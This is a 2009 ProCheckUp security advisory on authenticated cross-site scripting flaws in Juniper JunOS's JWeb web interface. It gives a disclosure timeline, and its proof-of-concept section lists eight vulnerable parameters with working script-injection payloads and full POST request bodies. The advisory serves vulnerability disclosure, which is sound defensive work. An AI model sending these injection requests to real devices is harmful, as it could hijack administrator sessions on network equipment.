Vulnerabilities 2009

PR09-09 Juniper JunOS JWeb (Juniper Web Management) authenticated XSS

• Advisory publicly released: Tuesday, 22 September 2009
• Vulnerability found: Thursday, 25 June 2009
• Vendor informed: Friday, 31 July 2009
• Severity level: Medium

• Credits
  Amir Azam of ProCheckUp Ltd (www.procheckup.com)
• Description
  There is a Cross-site Scripting vulnerability on Junipers, JUNOS web interface. JwWeb provides a webinterface which allows JUNOS to be controlled by a webinterface.
  Procheckup has found by making a malformed authenticated request to the JWeb interface, that vanilla cross site scripting (XSS) attacks are possible.
• Proof of concept
  1) Host parameter within the pinghost program is vulnerable to a XSS attack. Enter "><script>alert(1)</script>
  
  Program URI :- http://target-domain.foo/diagnose?m[]=pinghost
  
  Vulnerable Parameter :- Remote Host
  <input id="systest-pinghost-hostname" name="host">
  
  2) Host parameter within the traceroute program is vulnerable to a XSS attack. Enter "><script>alert(1)</script>
  
  Program URI :- http://target-domain.foo/diagnose?m[]=traceroute
  
  Vulnerable Parameter :- Remote Host
  <input id="systest-traceroute-hostname" name="host">
  
  3) the probe-limit parameter is vulnerable to XSS
  
  Program URI :- http://target-domain.foo/configuration?m[]=wizards&m[]=rpm
  
  POST
  current-page=main&wizard-next=&wizard-mode=&wizard-args=&wizard-ids=&wizard-previous=&probe-owner-list-hidden=false&probe-owner-delete-hidden=true&probe-limit-hidden=false&probe-limit=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&probe-server-tcp-hidden=false&probe-server-tcp=&probe-server-udp-hidden=false&probe-server-udp=&ok-button=++OK++
  
  4) the wizard_ids and pager-new-identifier parameter is vulnerable to a XSS attack
  
  Program URI :- http://target-domain.foo/configuration?m[]=wizards&m[]=firewall-acl&m[]=firewall-filters
  
  POST
  current-page=firewall-filters&wizard-next=firewall-filter-term&wizard-mode=new-item&wizard-args=&wizard-ids=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&wizard-previous=firewall-filters&filteraclsummary-hidden=false&wizard-tab-page=firewall-filter-term&wizard-tab-selected=source&pager-new-identifier=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&pager-new-location=end&term-name-search=&num-per-page=25&num-per-page=25&num-per-page=25
  
  5) the os-physical-interface-name parameter is vulnerable to a XSS attack
  
  Pogram URI :- http://target-domain.foo/configuration?m[]=wizards&m[]=cos&m[]=cos-interfaces
  
  POST
  current-page=cos-physical-interfaces-edit&wizard-next=cos-logical-interfaces-edit&wizard-mode=add&wizard-args=%7Bcos-physical-interface-name%7D&wizard-ids=%7Bcos-physical-interface-name%7D&wizard-previous=cos-physical-interfaces-edit&cos-physical-interface-name-hidden=false&cos-physical-interface-name=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&cos-physical-interface-scheduler-map-hidden=false&cos-physical-interface-scheduler-map=&cos-logical-interfaces-list-hidden=false&cos-logical-interfaces-delete-hidden=true&cos-physical-interface-scheduler-map=
  
  6) the wizard-args and wizard-ids parameter is vulnerable to a XSS attack
  
  PROGRAM URI :- http://target-domain.foo/configuration?m[]=wizards&m[]=snmp
  
  POST
  current-page=main&wizard-next=snmp-community&wizard-mode=edit&wizard-args=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&wizard-ids=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&wizard-previous=main&contact-hidden=false&contact=&description-hidden=false&description=&engineid-hidden=false&engineid=&location-hidden=false&location=&override-hidden=false&override=&communities-hidden=false&snmp-community-delete-hidden=true&trapgroups-hidden=false&snmp-trap-group-delete-hidden=true&health-monitor-enable-original=off&health-monitor-enable-hidden=false&interval-hidden=false&rising-threshold-non-jseries-hidden=false&falling-threshold-non-jseries-hidden=false&community-checked%5B%5D=off&health-monitor-enable=off&interval=&rising-threshold-non-jseries=&falling-threshold-non-jseries=
  
  7) the username and fullname is vulnerable to a XSS attack
  
  PROGRAM URI :- http://target-domain.foo/configuration?m[]=wizards&m[]=users
  
  POST
  current-page=users&wizard-next=&wizard-mode=&wizard-args=&wizard-ids=&wizard-previous=&username-hidden=false&username=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&fullname-hidden=false&fullname=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&class-hidden=false&class=unauthorized&loginpassword-hidden=false&loginpassword=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&loginpassword-verify=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&ok-button=++OK++&class=unauthorized
  
  
  8) the certname and certbody parameter is vulnerable to a XSS attack
  
  PROGRAM URI :- http://target-domain.foo/configuration?m[]=wizards&m[]=https
  
  POST
  current-page=local-cert&wizard-next=&wizard-mode=&wizard-args=&wizard-ids=&wizard-previous=&certname-hidden=false&certname=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&certbody-hidden=false&certbody=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&ok-button=++OK++
  
  
  
  Note: the previous examples were tested on IE7 and FF2.
• How to fix
  
• Consequences
  An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link or visits a malicious webpage. The malicious code would run in the security context of the vulnerable website.
  
  This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: passwords or session IDs) to unauthorised third parties.
• Successfully tested on
  Juniper Networks Juniper Web Management (JWeb) Version: 8.5R1.14
• References
  

  ProCheckUp Vulnerabilities
  http://www.procheckup.com/vulnerability_manager

  
  
• Legal
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  Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.